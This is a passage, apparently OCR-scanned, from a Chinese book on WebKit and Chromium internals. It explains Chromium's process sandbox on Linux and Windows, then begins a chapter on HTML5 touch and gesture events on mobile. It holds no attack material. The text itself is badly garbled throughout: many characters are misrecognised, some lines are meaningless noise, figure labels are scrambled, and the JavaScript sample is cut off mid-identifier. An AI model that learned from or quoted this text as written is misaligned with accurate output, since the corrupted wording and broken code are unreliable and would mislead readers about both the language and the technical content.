在 各 种 可 能 性 ， 也 许 是 无 意 的 或 有 意 的 攻击 。 如 果 有 一 种 机 制 ， 将 网 页 
的 运行 限制 在 一 个 特定 的 环境 中 ， 也 就 是 一 个 沙 箱 中 ， 使 它 只 能 访问 有 
限 的 功能 。 那 么 ， 即 使 网 页 工作 的 演 染 引擎 被 攻击 ， 它 也 不 能 够 获取 演 
染 引 擎 工作 的 主机 系统 中 的 任何 权限 ， 这 一 思想 就 是 沙 箱 模 型 。 


WebKit 中 并 没有 提供 沙 箱 机 制 的 文 持 ， 所 以 后 面 的 介绍 主要 以 
Chromium 为 基础 来 介绍 在 多 进程 架构 中 ， 沙 箱 模 型 的 实现 方式 。 


Chromium 是 以 多 进程 为 基础 的 ， 网 页 的 泻 染 在 一 个 独立 的 Renderer 
进程 中 进行 ， 这 为 实现 沙 箱 模型 提供 了 基础 ， 因 为 可 以 相对 容易 地 使 用 
一 些 技术 将 整个 网 页 的 演 染 过 程 放 在 一 个 受 限 的 进程 中 来 完成 ， 如 图 
12-7 所 示 ， 受 限 环境 只 能 被 某 些 或 者 很 少 的 系统 调用 而 且 不 能 直接 访问 
用 户 数 据 。 而 沙 箱 模 型 工作 的 基本 单位 就 是 进程 。 





操作 系统 





图 12-7 ”使 用 沙 箱 模型 的 渔 染 引 擎 的 示意 图 


Chromium 的 沙 箱 模 型 是 利用 系统 提供 的 安全 技术 ， 让 网 页 在 执行 
过 程 中 不 会 修改 操作 系统 或 者 是 访问 系统 中 的 隐私 数据 ， 而 需要 访问 系 
统 资源 或 者 说 是 系统 调用 的 时 候 ， 通 过 一 个 代理 机 制 来 完成 。 下 面 详细 
介绍 沙 箱 模型 的 实现 方式 和 工作 原理 。 


12.2.2 ”实现 机 制 


因为 沙 箱 模 型 严重 依赖 操作 系统 提供 的 技术 ， 而 不 同 操作 系统 提供 
的 安全 技术 是 不 一 样 的 ， 这 样 也 就 意味 着 不 同 操作 系统 上 的 实现 是 不 一 
致 的 ， 需 要 分 别针 对 不 同 平 台 展 开 来 讨论 。 不 过 ， 不 管 是 Linux 还 是 
Windows， 或 者 是 其 他 平台 ，Chromium 都 是 在 进程 的 粒度 下 来 实现 沙 箱 
模型 ， 也 就 是 说 需要 运行 在 沙 箱 下 的 操作 都 在 一 个 单独 的 进程 中 。 所 
以 ， 对 于 使 用 沙 箱 模型 至 少 需 要 两 个 进程 ， 如 图 12-8 所 示 。 





代理 进程 





图 12-8 应 用 沙 箱 模 型 的 进程 模型 


图 中 右 侧 的 是 目标 进程 ， 也 就 是 需要 在 沙 箱 中 运行 的 代码 ， 左 侧 的 
征 代理 进程 ， 它 需要 负责 创建 目标 进程 并 为 目标 进程 设置 各 种 安全 货 
略 ， 同 时 建立 IPC 连 接 ， 接 受 目 标 进程 的 各 种 请 求 ， 因 为 目标 进程 是 不 
能 访问 过 多 资源 的 。 下 面 主要 讨论 Linux 和 Windows 平 台 上 沙 箱 模 型 的 
实现 和 涉及 的 技术 。 





12.2.2.1 Linux 


在 Linux 上 ， 沙 箱 模型 分 成 两 个 层 ， 第 一 层 是 阻止 某 个 或 者 某 些 进 
程 通常 能 够 访问 的 资源 ，Chromium 中 称 为 “语义 层 ”， 这 里 使 用 的 系统 
技术 主要 是 “setuid”， 详 情 稍 后 介绍 。 第 二 层 是 防止 进程 访问 能 够 攻击 
内 核 的 接口 或 者 攻击 面 (Attack Surface， 这 里 主要 是 内 核 可 能 会 被 未 授 
权 的 用 户 调用 ) ， 这 里 使 用 的 系统 技术 主要 是 “Seccomp”( 具 体 到 这 里 
是 Seccomp-BPF， 它 是 Seccomp 的 一 个 扩展 ) 。 





在 讨论 具体 的 两 层 实 现 和 相关 技术 之 前 ， 笔 者 这 里 先 介 绍 一 下 如 何 
在 Linux 系 统 中 编译 和 启动 沙 箱 机 制 。 在 Linux 系 统 上 ， 读 者 如 果 想 尝试 
局 用 Chromium 的 沙 箱 机 制 ， 需 要 按照 以 下 三 个 步骤 来 进行 : 第 一 ， 先 
单独 编译 目标 “chrome_sandbox”， 它 是 独立 于 编译 目标 “chrome” 的 ， 所 
以 在 编译 “chrome” 目 标的 时 候 并 不 会 编译 “chrome_sandbox”; 第 二 ， 运 





行 脚本 “build/update-linux-sandbox.sh”， 它 会 将 编译 完 的 文件 安装 到 合适 
的 位 置 ， 第 三 ， 在 “.bashrc” 中 假如 “export 
CHROME_DEVEL_SANDBOX=/usr/local/sbin/chrome-devel-sandbox” i) 
Ay. XIF, Chromium bias wt de Ws TE AY a OL T o 


启动 沙 箱 机 制 之 后 ， 如 果 运 行 Chromium 程 序 ， 读 者 就 可 以 看 出 如 
图 12-9 上 所 给 出 的 进程 层次 结构 树 。 这 是 一 标 树 结构 ， 树 的 根 节 点 吏 
je “browser Hite, Wee, Senses Pee, teal 
的 “GPU”“chrome_sandbox” 等 进程 。 而 对 于 沙 箱 模型 来 说 ， 这 里 主要 
关注 “chrome_sandbox” 进 程 ， 它 的 目的 主要 是 使 用 “setuid” 技 术 来 实现 模 
型 的 第 一 层 ， 生 成 了 “zygote” 子 进程 。 其 中 “chrome_sandbox” 进 程 使 用 
的 是 上 面 介绍 的 目标 “chrome_sandbox” 生 成 的 二 进 制 可 执行 文件 ， 而 其 
他 的 是 目标 “chrome” 生 成 的 结果 ， 二 者 是 不 一 样 的 。 





图 12-9 使 用 沙 箱 机 制 后 的 进程 和 进程 层次 树 


生成 第 一 个 “zygote” 之 后 ， 该 进程 会 生成 两 个 子 进程 ， 第 一 个 
是 “nacl-helper” 进 程 ， 是 为 了 支持 NaCl 插 件 进 程 服务 的 。 第 二 个 叉 是 一 
个 “zygote”， 这 个 不 同 于 它 的 父亲 ， 它 主要 是 为 了 生成 各 种 “Renderer” 进 
程 服务 。 这 样 ， 每 个 “Renderer” 进 程 经 过 上 面 的 过 程 后 都 会 使 用 沙 箱 机 
制 进 行 处 理 ， 网 页 在 “Renderer”* 中 的 运行 就 受到 了 严格 地 限制 。 


读者 可 能 疑惑 ， 既 然 *Renderer” 进 程 根本 不 能 访问 各 种 资源 ， 也 不 
能 调用 各 种 系统 调用 ， 那 么 需要 使 用 一 些 功能 怎么 办 呢 《 如 访问 文件 系 
统 ) ? 答案 是 使 用 一 个 代理 来 完成 ， 代 理 进 程 和 这 些 “Renderer” 进 程 之 
间 通 过 进程 间 通 信 机 制 来 交互 ， 所 有 的 请 求 都 发 送 给 代理 进程 ， 代 理 进 
程 将 结果 返回 给 “Renderer” 进 程 ， 这 里 的 代理 进程 就 是 “Browser” 进 
程 , “Browser" 进 程 拥 有 访问 这 些 资源 和 系统 调用 的 权限 。 


首先 讨论 一 下 第 一 层 是 如 何 支 持 的 ， 其 中 主要 使 用 两 种 技术 。 


使 用 “setuid” 来 为 新 进程 设置 新 用 户 ID 和 组 JD， 根据 Linux 的 规定 ， 
两 个 不 同 用 户 ID 之 间 的 数据 是 隔离 开 的 ， 这 上 自然 将 “Renderer" 进 程 
同 “Browser" 进 程 分 开 ， 后 者 拥有 访问 很 多 关键 数据 的 能 力 ， 如 各 
个 网 页 的 Cookie。 在 现在 的 Chromium 实 现 中 ， 不 再 使 用 “setuid”* 来 
实现 ， 而 是 使 用 “CLONE_NEWPID” 标 记 ， 该 标记 是 在 Linux 系 统 调 
用 clone” 时 设置 ， 从 而 为 新 进程 创建 一 个 新 的 名 空间 ， 也 就 是 上 面 
描述 的 文件 系统 等 。 

限制 网 络 访问 ，Chromium 使 用 标记 “CLONE_NEWNET” 设 置 在 调 
用 “clone” 系 统 调用 的 参数 中 。 使 用 了 这 些 技术 之 后 ， 元 隆 出 来 的 进 
程 就 同 父 进程 分 离开 来 ， 包 括 新 文件 系统 〈 类 似 于 chroot〉 等 和 限 
制 网 络 的 访问 等 。 








接 下 来 是 第 二 层 的 讨论 ， 这 里 使 用 的 主要 技术 


是 “Seccomp” 和 “Seccomp-BPF”。Seccomp 是 Linux 内 核 提 供 的 一 种 简单 
的 沙 箱 机 制 ， 它 能 够 允许 进程 进入 一 种 不 可 逆 的 安全 状态 ， 进 入 该 状态 
的 进程 只 能 够 调用 4 个 系统 调用 ， 包 

括 “exit”、 “sigreturn”、“read> 和 “write”， 而 且 最 后 两 个 系统 调用 只 能 操 
作 已 经 打开 的 文件 描述 符 。 如 果 访 进程 答 试 调用 其 他 的 系统 调用 ， 那 么 
内 核 会 通过 “SIGKILL” 信 号 来 杀 死 该 进程 。 进 入 该 安全 状态 的 方法 就 是 
使 用 系统 调用 prctl 设 置 标记 位 PR_SET_SECCOMP 就 可 以 了 ， 前 提 是 系 
统 的 内 核 在 编译 的 时 候 束 加 入 了 对 “Seccomp” 的 支持 ， 这 一 点 很 重要 ， 
因为 不 是 所 有 使 用 Linux 内 核 的 操作 系统 都 能 打开 该 机 制 |。 





“Seccomp-BPF” 是 “Seccomp” 技 术 的 一 个 扩展 ， 它 允许 使 用 BPF 所 害 
义 的 方法 来 将 系统 调用 转变 成 BPF 格 式 的 小 程序 。BPF (Berkeley Packet 
Filter) 原 是 Berkeley 开 发 的 一 种 用 来 过 滤 网 络 包 的 技术 ， 现 在 被 应 用 
在 “Seccomp”。“Seccomp-BPF” 将 系统 调用 转变 成 BPF 格 式 的 小 程序 ， 这 
些小 程序 能 够 被 内 核 所 解释 ， 这 样 每 个 系统 调用 的 次 数 和 参数 都 能 够 被 
重新 评估 或 者 被 限制 。 


对 于 开发 者 来 次 ， 如 果 想 要 关闭 第 二 层 的 沙 箱 技术 也 很 简单 ， 在 命 
令 行 中 加 入 参数 “--disable-seccomp-filter-sandbox” 就 可 以 了 。 
以 上 的 技术 不 仅 应 用 在 Linux 系 统 之 上 ， 而 且 也 被 应 用 在 ChromeOS 


中 。 过 去 还 有 些 技术 用 来 实现 第 一 层 和 第 二 层 ， 如 SELinux，Seccomp- 
legacy， 因 为 上 面 介 绍 的 技术 更 加 合适 ， 所 以 现在 它们 已 经 被 丢弃 了 。 








对 于 Android 系 统 来 讲 ， 虽 然 Android 是 基于 Linux 内 核 开 发 出 来 的 ， 
但 还 是 有 些 区 别 的 。 目 前 沙 箱 机 制 的 第 二 层 在 Android 上 并 没有 得 到 文 
持 ， 只 是 第 一 层 得 到 了 文 持 。 但 是 ， 在 Android 上 ， 系 统 文 持 的 安全 机 
制 都 已 经 在 Chrome 的 Android 版 上 得 到 了 启用 ， 主 要 体现 在 两 个 方面 ， 








第 一 是 SUID，Android 系 统 上 稍微 有 些 不 同 ， 它 是 UID isolation (CUID 隔 
离 技术 ) ，Android 可 以 为 每 一 个 进程 设置 一 个 新 的 UID， 这 样 每 个 进程 
之 间 就 不 能 随意 修改 和 访问 数据 ， 这 是 有 Linux 内 核 机 制 来 保证 的 ， 其 
实 是 上 面 讨论 的 沙 箱 机 制 的 第 一 层 。 第 二 是 Android 的 权限 机 制 ， 每 个 
进程 只 能 访问 授权 的 权限 列表 中 的 数据 ， 如 地 理 位 置信 息 、 通 讯 录 等 ， 
这 个 是 用 户 数据 的 隐私 管理 ， 不 在 Chromium 的 沙 箱 机 制 范围 内 ， 这 里 
不 再 讨论 。 


12.2.2.2 Windows 


Windows 的 沙 箱 模型 也 是 基于 图 12-8 的 多 进程 结构 ， 不 同 于 Linux 的 
是 它们 依赖 的 操作 系统 的 安全 机 制 不 同 ， 在 Windows 系 统 中 ， 沙 箱 模型 
依赖 于 三 个 方面 的 技术 : Sh (Token) ~ Windows Job 对 象 和 Windows 
Desktop 对 象 。 


在 Windows 中 ， 令 牌 是 进程 访问 资源 的 证 件 ， 每 个 进程 都 有 一 个 令 
牌 ， 令 牌 里 面包 含 了 一 个 SID 和 多 个 组 的 SID 。 而 对 于 资源 来 说 ， 每 个 
资源 都 包含 一 个 安全 摘 述 符 ， 里 面包 含 了 一 个 列表 称 为 ACL (Access 
control list) ， 表 中 的 每 个 项 ACE 标记 了 一 个 访问 规则 ， 描 述 了 SID 是 否 
允许 访问 、 读 写 、 执 行 等 操作 。Chromium 为 Renderer 进 程 设置 了 极为 严 
格 的 令 牌 ， 如 下 面 所 示 。 


Regular Groups 

Logon SID : mandatory 

All other SIDs : deny only, mandatory 
Restricted Groups 


S-1-0-0 : mandatory 


Privileges 


None 


使 用 了 上 面 设置 的 令 牌 ， 读 者 基本 上 找 不 到 一 个 Windows 上 的 资源 
可 以 访问 ， 这 一 令 牌 就 是 沙 箱 模 型 在 Windows 上 使 用 的 令 牌 。 但 是 ， 由 
于 Windows 认 为 网 络 和 系统 的 磁盘 卷 不 是 一 个 安全 问题 ， 这 也 就 是 意味 
着 Renderer 进 程 或 者 其 他 目标 进程 仍然 能 够 有 发送 和 接收 网 络 消 轧 ， 读 写 
磁盘 卷 信 息 。 


但 是 ， 令 牌 还 是 不 能 够 对 茶 些 方面 做 出 限制 的 ， 所 以 接 下 来 介绍 的 
是 Windows 的 Job 对 象 。 当 一 个 进程 运行 在 Job 对 象 中 的 时 候 ， 更 多 方面 
受到 了 限制 。 








禁止 进程 通过 系统 调用 “SystemParametersInfo” 修 改 系统 设置 ， 如 设 
置 屏保 时 间 和 鼠标 左右 键 设置 等 ， 禁 止 进程 创建 更 多 梨 面 或 在 不 同 架 面 
间 来 回 切 换 等 ， 禁 止 读 写 剪 切 板 ， 禁 止 修改 屏 章 分 辨 率 等 相关 设置 。 








还 有 非常 多 的 功能 可 以 通过 Job 对 象 被 禁止 ,更 多 的 详情 请 读者 但 
阅 “http://www.chromium.org/developers/design-documents/sandbox” 来 了 
解 。 不 仅 如 此 ，Job 对 象 还 能 够 防止 对 CPU、 内 存 和 IO 等 资源 的 无 限制 
使 用 。 





最 后 是 使 用 Windows 的 “Desktop” 对 象 来 为 所 有 Renderer 进 程 (或 者 
其 他 进程 如 NaCl) 构建 一 个 新 昌 面 。 因 为 在 昌 面 内 发 送 或 者 接收 消息 是 
允许 的 ， 而 且 没 有 受到 任何 安全 策略 的 限制 。Chromium 为 了 阻止 这 种 
事情 的 发 生 ， 为 所 有 的 目标 进程 创建 一 个 新 桌面 ， 这 也 意味 这 这 些 目标 
进程 没有 办 法 加 其 他 更 面 的 进程 任意 发 送 消息 。 








在 Windows Vista 上 ， 还 需要 使 用 完整 性 级 别 (Integrity Levels) ， 


它 规定 了 5 种 资源 访问 的 级 别 ， 包 括 untrusted、low、medium、high 和 
system， 这 个 级 别 依 次 从 低 到 高 。 如 果 一 个 资源 的 访问 级 别 高 于 令 牌 访 
问 的 级 别 ， 那 也 会 被 禁止 。 


从 上 面 的 讨论 可 以 看 出 ，Chromium 引 入 的 沙 箱 机 制 极 大 地 降低 了 
网 页 中 各 种 破坏 操作 系统 的 潜在 风险 ， 将 网 页 的 执行 置 于 一 个 孤立 
(Isolated) 和 受 限 制 〈Strict) 的 环境 中 。 安 全 问题 始终 是 一 个 重要 议 
题 ， 笔 者 认为 ， 这 必 将 是 浏览 器 或 者 Web 运 行 环境 中 的 一 个 发 展 方 回 。 





第 13 晶 ”移动 WebK it 


移动 领域 对 HTML5 的 发 展 起 了 非常 重要 的 作用 ， 特 别 是 在 著名 的 
Flash 和 HTML5 之 争 事件 后 ，HTML5 标 准 得 到 了 几乎 所 有 智能 移动 设备 
的 广 持 ， 这 一 情况 甚至 要 好 于 果 面 设备 。 伴 随 着 移动 领域 的 众多 创新 ， 
标准 化 组 织 也 将 这 些 新 功能 融入 了 了 Web 领域， 如 对 各 种 屏幕 的 支持 ， 触 
控 (Touch) 、 手 势 (Gesture〉 和 一 些 新 设备 能 力 接 口 等 。 移 动 化 已 经 
成 为 HIML5 重 要 的 发 展 方向 ， 这 一 章 将 和 各 位 读者 一 起 探讨 移动 领域 
的 技术 和 WebKit 是 如 何 走 在 时 代 的 前 沿 去 文 持 和 推动 这 一 趋势 的 。 














13.1 触 控 和 手势 事件 


13.1.1 HTMIL5 规 范 


随 着 电容 屏 硕 的 流行 ， 触 控 操作 变 得 前 所 未 有 的 流行 起 来 。 时 人 至今 
日 ， 融 有 多 点 触 控 功 能 已 经 成 为 了 移动 设备 的 标准 配置 ， 基 于 触 控 的 手 
势 识别 技术 也 获得 巨大 的 发 展 ， 如 使 用 两 个 手指 来 缩放 应 用 的 大 小 等 。 
所 以 ， 在 移动 系统 中 ， 编 程 需要 考虑 的 不 是 鼠标 事件 ， 而 是 触 控 和 手势 
事件 ， 这 些 事件 对 于 改善 用 户 体验 起 了 非常 大 的 作用 。 最 早 将 触 控 和 手 
势 事件 引入 Web 领 域 的 是 苹果 公司 ， 它 在 i0S2.0 中 加 入 了 这 种 文 持 ， 随 
后 Android 系 统 也 加 入 了 这 一 阵营 。 














在 介绍 规范 之 前 ， 有 必要 先 理解 一 下 触 控 、 手 势 事件 与 浏览 右上 默认 
行为 的 关系 。 图 13-1 描 述 了 处 理 触 控 事 件 的 可 能 情况 ， 图 中 灰色 圆圈 表 
示 的 是 一 个 触 控 扣 ， 当 它 癌 上 移动 的 时 候 ， 浏 览 硕 已 面临 艰难 选择 ， 对 
于 用 户 触发 的 触 控 事 件 ， 可 能 有 两 个 地 方 需要 使 用 到 触 控 事件 : 第 一 是 
浏览 器 本 喘 ， 浏 览 器 可 能 和 希望 利用 这 个 事件 完成 翻 页 动作 ， 必 外 一 方 
面 ， 该 灰色 圆圈 的 部 分 所 对 应 的 元 素 可 能 需要 由 自己 来 处 理 这 些 触 控 事 
件 ， 而 不 是 浏览 器 来 处 理 。 浏 贤 占 或 者 WebKit 的 具体 处 理 逻 辑 我 们 在 稍 


后 会 介绍 到 。 










PEN econ > 情况 1: 浏览 器 翻 页 
网 页 一 => 情况 2: JavaScript 接收 触 控 事件 
内 


(JavaScript 代码 、HTML 等 ) 


图 13-1 浏览 器 处 理 的 触 控 事件 


目前 ，Web 领 域 引 入 两 种 与 触 控 相 关 的 技术 ， 其 一 是 HTML5 Touch 
Events， 它 基本 上 已 经 成 为 了 规范 ， 得 到 了 众多 泻 染 引擎 和 浏览 器 的 文 
持 和 认可 。 其 二 是 Gesture Events， 它 是 苹果 公司 设计 并 在 Safari 浏 览 右 
中 实现 的 ， 但 是 没有 得 到 其 他 更 多 浏览 器 的 文 持 。 下 面 分 别 来 分 析 这 两 
Es 





首先 是 HTML5 Touch Events， 它 已 经 成 为 推荐 的 规范 ， 而 且 事实 上 
也 得 到 了 两 家 主流 移动 操作 系统 中 浏览 器 的 文 持 ， 可 以 说 发 展 得 非常 
好 ， 访 标准 主要 是 定义 如 何 将 原始 的 触 控 事件 以 特定 的 方式 传递 给 
JavaScript 引 擎 ， 然 后 再 传递 给 注册 的 事件 啊 应 函数 。 这 一 规范 在 
HIML5 网 页 应 用 中 已 经 比较 成 熟 ， 网 页 开发 者 可 以 根据 规范 进行 定 
义 ， 其 中 最 主要 的 接口 是 TouchEvent， 定 义 在 图 13-2 中 上 半 部 分 ， 表示 
一 次 传递 给 JavaScript 注 册 函 数 的 事件 。 





interface Touch 


ks 
// TouchList 是 一 组 


interface Touch { 
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Event 





: UIEvent { 








boolean 
boolean 
te boolean 


te boolean 


Touch 对 象 








long 


TouchList touches; 
TouchList targetTouches; 


TouchList changedTouches; 


altKey; 
metakey; 
ctrlKey; 
shiftKey; 


identifi 





EventTarget target; 


> long 
long 
long 
long 
long 
long 





screenX; 
screeny; 
clientX; 
clientyY; 
pagexX; 
paget; 


K 13-2 HTML5 Touch Events Æ X49 TouchEvent# 2 


根据 标准 中 的 定义 ，TouchEvent 分 成 4 种 类 型 : touchstart、 
touchmove、touchend 和 touchcancel。 熟 悉 触 控 事件 的 读者 可 能 很 容易 理 
解 ， 它 们 分 别 表示 触 控 点 
和 人 触 控 ， cals 最 后 一 个 类 型 理解 起 来 比较 困难 ， 有 时 浏览 器 取消 该 触 
他 一 些 原因 ， 如 它 可 能 进入 了 其 他 的 窗口 等 。 
是 继承 自 DOM 的 UIEvent， 这 表明 它 有 同 其 他 事件 类 


控 点 ， 可 


TouchEvent ek IK 


FT aA RAGE ae. EA. AE A 


似 的 处 理 方式 ， me 在 于 这 个 事件 有 一 些 不 同 的 属性 。 下 面 逐 


析 它 们 。 


e “touches” 


列表 ， 


表示 当前 屏 
如 果 触 探 点 





大 于 1， 表 示 这 


UA TT BE ae 


一 来 分 


幕 中 包括 的 所 有 人 触 控 点 ，“touches” 是 一 
是 一 个 支持 多 点 触 控 的 设备 。 


e “targetlouches” : 表示 的 是 当前 所 有 起 始 于 当前 DOM 元 素 的 触 控 
点 ， 也 就 是 如 果 一 个 触 控 点 的 “touchstart” 事 件 发 生 的 位 置 在 该 元 素 
的 区 域内 ， 那 融会 被 包 售 在 该 列表 中 。 

e “changedTouches” : 表示 发 生变 化 的 触 控 点 。 如 果 类 型 
是 “touchstart”， 那 就 包含 新 的 触 控 点 。 如 果 是 “touchmove”， 那 就 包 
含 发 生 移动 的 触 探 点。 而 *touchend” 就 是 指 触 控 点 移出 了 屏幕 。 








每 个 触 控 点 都 需要 包含 很 多 信息 ， 也 就 是 图 13-2 中 的 众多 属性 ， 主 
要 是 标记 属性 的 唯一 JD、 触 控 的 目标 (也 就 是 对 于 的 DOM 元 素 ) . DF 
幕 位 置 、 视 图 中 的 位 置 等 ， 看 起 来 还 是 比较 直观 的 。 有 了 这 些 接口 ， 
JavaScript 代 码 能 够 非常 清楚 地 知道 每 个 触 控 点 的 信息 ， 就 能 够 像 本 地 代 
码 一 样 使 用 它们 来 满足 各 种 应 用 的 需求 。 








使 用 的 方法 并 不 复杂 ， 示 例 代 码 13-1 展 示 了 如 何 注册 监听 事件 的 处 
理 函 数 ， 这 同 其 他 的 DOM 事 件 区 别 并 不 是 特别 大 ， 而 且 也 只 能 注册 在 
特定 的 元 素 〈 称 为 Clickable Element) 上 ， 如 “div” 等 。 因 为 TouchEvent 
有 四 种 类 型 ， 示 例 代码 定义 了 其 中 三 种 类 型 触 控 事件 的 处 理 函 数 。 
以 “touchstart” 为 例 ， 它 会 接受 一 个 事件 ， 就 是 之 前 定义 的 TouchEvent 接 
口 ， 为 了 避免 同 浏览 器 行为 的 冲突 ， 可 以 在 最 开始 调 
用 “preventDefault*， 这 在 第 5 章 也 做 过 介绍 。 后 面 可 以 根据 事件 来 做 出 
相应 的 动作 。 








示例 代码 13-1 使 用 HTML5 Touch Events 的 JavaScript 代 码 


var targetElement = document.getElementById("aTouchableElemen 
targetElement.addEventListener("touchstart", onTouchStartEven 
targetElement.addEventListener("touchmove", onTouchMoveEvent, 


targetElement.addEventListener("touchend", onTouchEndEvent, fa 


function onTouchStartEvent(event) { 
// 处 理事 件 


event.preventDefault(); 























event.touches; 
event.targetTouches; 


event .changedTouches; 


有 了 这 些 原始 的 触 控 事件 ，Web 开 发 者 可 以 在 网 页 中 使 用 JavaScript 
代码 来 识别 这 些 原始 触 控 事件 并 生成 手势 事件 ， 如 Long Press. Pinch, 
Swipe、Fling 等 手势 事件 。 目 前 有 很 多 库 提供 这 样 的 实现 ， 如 jQuery 
Mobile, Sencha Touch 等 ， 这 极 大 地 方便 了 Web 开 发 者 。 





除了 原始 的 触 控 事件 ， 苹 果 公 司 开 发 的 Safari 浏 览 器 还 支持 问 
JavaScript 代 码 提供 Gesture ”Events， 其 含义 是 由 浏览 器 来 识别 原始 事件 
并 将 手势 事件 传递 给 JavaScript 代 码 ， 当 然 它 定义 了 一 个 新 的 
Ge 口 ， 事 件 类 型 也 分 为 gesturestart、gesturechange 和 
gestureend。 这 里 的 手势 事件 并 没有 与 上 面 定义 的 Pinch 等 采用 同样 的 方 
式 ， 而 是 将 旋转 角度 和 缩放 大 小 数据 传递 给 JavaScript， 这 更 像 是 文 持 两 
个 手指 的 触 控 事件 。 由 于 它 的 局 限 性 和 不 够 通用 ， 所 以 并 没有 得 到 像 原 
始 触 控 事件 一 样 比较 广泛 的 文 持 ， 这 里 也 不 做 过 多 的 介绍 


13.1.2 ”工作 原理 


WebKit 和 Chromium 是 如 何 文 持 触 控 事件 的 呢 ? 其 实 这 是 比较 复杂 











FIRE, FRI ee HE HE Ah Bg SRS bap SE SIR EAN EA. 
先 事件 的 派送 机 制 依然 是 使 用 第 5 半 介 绍 的 捕获 和 冒 泡 机 制 ， 具 体 参 看 
图 5-18 的 过 程 。 





图 13-3 描 述 WebKit 处 理 触 控 事 件 所 使 用 到 的 一 些 主要 类 和 它们 之 间 
的 关系 。 最 下 层 的 WebWidget 和 WebView 是 webKit 的 Chromium 移 植 提 
供 的 接口 ， 同 之 前 介绍 的 一 样 ， 它 们 也 是 被 Chromium 项 目的 代码 所 调 
用 ， 当 Chromium 接 收 到 事件 之 后 会 将 其 传 给 WebViewImpl 这 个 非常 重 
要 的 类 来 处 理 。 这 个 类 大 家 应 该 很 熟悉 了 ， 因 为 已 经 见 过 很 多 次 面 了 。 
因为 事件 有 多 种 类 型 ，WebViewImpl 类 借助 于 PageWidgetDelegate 类 来 
处 理 和 区 分 这 些 输入 事件 。 经 过 PageWidgetDelegate 类 处 理 后 的 事件 会 
调用 WebViewImpl 类 各 个 事件 处 理 接口 ， 而 webViewImpl 类 的 这 些 接口 
基本 上 使 用 主 框 〈Frame) 的 事件 处 理 句 柄 EventHandler 对 象 来 处 理事 
件 。 细 心 的 读者 可 以 发 现 ， 图 中 的 EventHandler 包 含 两 个 函数 ， 第 一 个 
是 处 理 原始 触 控 事件 的 函数 ， 第 二 则 是 处 理 手势 事件 的 函数 。 为 什么 会 
这 样 呢 ? 











PageWidgetDelegate Page WidgetEventHandler 


+handlelnputEvent() +handleTouchE vent) 
| jat+handleGestureEvent() 





WebViewlmpl | Frame EventHandler 
+handlelnputEvent() | ~ 二 |+eventHandler() es +handleTouchEvent() 
+handleGestureE vent() +handleGestureEvent() 


WebWidget 


> +handlelnputEvent() 


图 13-3 WebKit 处 理 触 控 事 件 的 基础 设施 





WebKit 除 了 接收 原始 的 触 控 事件 之 外 ， 还 需要 它 的 移植 或 者 说 是 浏 





览 器 提供 手势 事件 ， 这 些 事件 会 触 友 WebKit 的 默认 动作 。 例 

如 “LongPress” 事 件 ， 它 表示 手指 在 屏幕 上 长 按 一 段 时 间 ， 这 需要 浏览 需 
将 其 识别 成 手势 事件 然后 传递 给 WebKit， 当 WebKit 接 收 到 这 个 事件 之 
后 ， 触 发 自己 的 默认 动作 。 这 个 事件 同 前 面 介 绍 的 Safari 提 供 的 Gesture 
Events 不 是 一 回 事 ， 因 为 Safari 只 是 提供 了 旋转 和 缩放 的 值 给 
JavaScript， 而 这 里 的 手势 事件 包括 一 个 或 者 多 个 手指 触发 的 动作 ， 
WebKit 并 不 会 将 这 里 的 手势 事件 传递 给 JavaScript 代 码 ， 如 “longPress” 事 
件 会 触 皮 浏览 器 弹出 右键 荣 单 的 动作 。 











对 于 多 框 结构 的 网 页 ， 事 件 首 先 由 WebKit 交 给 主 框 处 理 ，WebKit 
会 检查 该 事件 是 否 需要 由 子 框 处 理 ， 如 果 是 的 话 ，WebKit 会 将 该 事件 派 
发 给 子 Frame， 依 此 类 推 。 这 是 一 个 递归 过 程 ， 请 读者 结合 第 三 章 介绍 
的 框 结构 来 理解 该 过 程 。 











下 面 来 分 析 一 下 在 Chromium 中 浏览 器 是 如 何 处 理 从 系统 传递 过 来 
的 触 控 事件 ， 并 将 它们 转换 成 之 后 的 手势 事件 的 。 这 一 过 程 稍 显 复杂 ， 
让 我 们 来 解释 一 下 原因 。 当 触 控 事件 发 生 后 ，Chromium 首 先 需 要 将 触 
控 事 件 保 存 ， 然 后 使 用 众多 的 手势 识别 器 (Gesture Recognizers) 来 将 
其 识别 成 手势 事件 。 此 时 ， 如 下 面 所 描述 的 问题 来 了 。 








e Chromium 有 是否 需要 将 所 有 的 原始 触 控 事件 传递 给 网 页 呢 ? 答案 是 
否定 的 。 如 一 些 网 页 并 没有 注册 监听 函数 来 处 理 它 们 ， 那 么 就 会 造 
成 极 大 的 浪费 ， 因 为 这 些 事件 的 传递 和 处 理 是 个 稍 长 的 过 程 。 更 为 
致命 的 是 ， 一 个 简单 的 用 户 操 作 通 常 有 非常 多 的 事件 ， 这 会 极 大 地 
浪费 CPU 等 资源 。 

e 为 什么 需要 Gesture Event 传 递 给 WebKit 呢 ?因为 是 由 浏览 器 识别 并 
将 识别 出 结果 的 事件 传递 给 WebKit， 这 客观 上 能 够 有 效 减 少 很 多 事 
件 的 传递 。 





。 除了 发 送 TouchEvent 和 GestureEvent 之 外 ， 也 可 能 会 发 送 
MouseEvent， 这 是 为 什么 ? 原因 很 简单 ， 因 为 目前 还 存在 一 些 网 
页 ， 它 们 需要 监听 鼠标 相关 的 事件 以 完成 特定 的 动作 ， 如 果 
Chromium 不 模拟 这 些 事件 ， 那 么 网 页 显然 不 能 正常 的 工作 。 但 是 
某 些 鼠标 事件 可 以 模拟 ， 如 MouseDown 其 实 对 应 于 TouchStart， 
MouseUp 对 应 用 TouchEnd 等 。 但 是 MouseOver 就 比较 态 烦 ， 比 如 一 
些 网 页 需要 根据 当前 鼠标 巷 浮 事件 来 显示 一 个 采 单 ， 这 对 于 触 控 设 
备 来 说 ， 的 确 是 一 个 问题 。 

















对 于 Chromium 来 说 ， 事 件 的 处 理 还 是 相当 复杂 的 ， 因 为 需要 三 种 
类 型 的 事件 并 将 其 传递 给 WebKit。 由 于 触 控 事件 最 初 是 应 用 在 移动 设备 
上 的 ， 所 以 这 里 也 主要 以 Chromium 的 Android 版 为 例 来 介绍 ， 而 
Chromium 的 和 更 面 版 对 触 控 事 件 的 文 持 目前 还 不 是 特别 完善 。 





在 Chromium 的 Android 厂 中 ， 所 有 的 事件 都 是 由 Android 系 统 传送 过 
来 的 ， 这 也 意味 着 事件 的 处 理 首先 是 在 Java 层 ， 当 然 是 在 Browser 进 程 的 
主线 程 中 ， 如 图 13-4 所 示 为 层次 结构 图 和 相关 层次 中 的 基础 设施 。Java 


层 主要 包含 两 个 类 。 











WebWidget RenderWidget 
